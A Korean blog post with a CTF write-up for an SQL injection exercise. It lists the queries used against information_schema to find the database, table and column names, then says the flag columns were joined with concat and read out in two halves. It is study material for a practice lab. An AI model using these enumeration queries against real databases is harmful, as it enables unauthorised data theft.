Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- 세션
- Cross Site Request Forgery
- Python
- Reflected Xss
- Error based sql injection
- cookie 탈취
- 과제
- sql injection point
- lord of sqli
- file upload
- 게시판 만들기
- php
- 쿠키
- css
- sql injection
- JWT
- Los
- 모의해킹
- JS
- XSS
- cors
- union sql injection
- CTF
- 웹개발
- MySQL
- csrf
- 로그인페이지
- blind sql injection
- 로그인
- lord of sql injection
Archives
- Today
- Total
Almon Dev
ctf 풀이 (SQL Injection 4) 본문
ctf 문제 풀이
SQL Injection 4
풀이
사이트의 로직은 sql injection3와 동일한 것으로 보입니다.
sql injection3에서 만들었던 python을 이용해서 풀겠습니다.
1> DB명 추출
select database()
=> DB 명 : sqli_2_1
2> Table명 추출
select table_name from information_schema.tables where table_schema='sqli_2_1' limit 0,1
=> Table 명 : flag_table, member
3> Column명 추출
select column_name from information_schema.columns where table_schema='sqli_2_1' and table_name='flag_table' limit 0,1
=> flag_table Column 명 : flag1~8
=> 본래 group_concat을 사용해서 limit를 쓰지 않고 한 번에 불러오는 것을 자주 사용했지만 응답의 자릿수가 부족해서 잘려서 나옵니다.
4> 데이터 추출
concat을 이용해서 flag1~8을 합쳐서 출력합니다.
=> 1~8을 한번에 불러오면 잘려서 출력됩니다. 1~4 / 5~8을 따로 출력해서 합쳐줍니다.
'모의해킹 > 모의해킹' 카테고리의 다른 글
ctf 풀이 (SQL Injection 6) (0) | 2024.12.02 |
---|---|
ctf 풀이 (SQL Injection 5) (0) | 2024.11.30 |
ctf 풀이 (SQL Injection 3) (2) | 2024.11.29 |
모의해킹 공부 7주차 (SQL Injection) (0) | 2024.11.29 |
ctf 풀이 ( SQL Injection 2 ) (1) | 2024.11.24 |